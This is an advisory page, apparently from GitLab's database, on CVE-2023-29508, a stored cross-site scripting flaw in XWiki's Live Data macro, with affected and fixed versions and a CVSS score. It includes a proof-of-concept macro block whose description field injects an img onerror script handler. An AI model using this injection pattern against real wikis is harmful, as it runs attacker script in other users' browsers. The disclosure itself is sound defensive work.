Advisory Database
  • Advisories
  • Dependency Scanning
  1. maven
  2. ›
  3. org.xwiki.platform/xwiki-platform-livedata-macro
  4. ›
  5. CVE-2023-29508

CVE-2023-29508: org.xwiki.platform:xwiki-platform-livedata-macro vulnerable to Basic Cross-site Scripting

April 12, 2023 (updated February 6, 2025)

A user without script rights can introduce a stored XSS by using the Live Data macro, if the last author of the content of the page has script rights.

For instance, by adding the LiveData below in the about section of the profile of a user created by an admin.

{{liveData id="movies" properties="title,description"}}
{
"data": {
"count": 1,
"entries": [
{
"title": "Meet John Doe",
"url": "https://www.imdb.com/title/tt0033891/",
"description": "<img onerror='alert(1)' src='foo' />"
}
]
},
"meta": {
"propertyDescriptors": [
{
"id": "title",
"name": "Title",
"visible": true,
"displayer": {"id": "link", "propertyHref": "url"}
},
{
"id": "description",
"name": "Description",
"visible": true,
"displayer": "html"
}
]
}
}
{{/liveData}}

References

  • github.com/advisories/GHSA-hmm7-6ph9-8jf2
  • github.com/xwiki/xwiki-platform
  • github.com/xwiki/xwiki-platform/security/advisories/GHSA-hmm7-6ph9-8jf2
  • jira.xwiki.org/browse/XWIKI-20312
  • nvd.nist.gov/vuln/detail/CVE-2023-29508

Code Behaviors & Features

Detect and mitigate CVE-2023-29508 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions starting from 13.10.10 before 13.10.11, all versions starting from 14.4 before 14.4.7, all versions starting from 14.9 before 14.10

Fixed versions

  • 13.10.11
  • 14.4.7
  • 14.10

Solution

Upgrade to versions 13.10.11, 14.10, 14.4.7 or above.

Impact 8.9 HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L

Learn more about CVSS

Weakness

  • CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Source file

maven/org.xwiki.platform/xwiki-platform-livedata-macro/CVE-2023-29508.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 14 May 2025 12:16:08 +0000.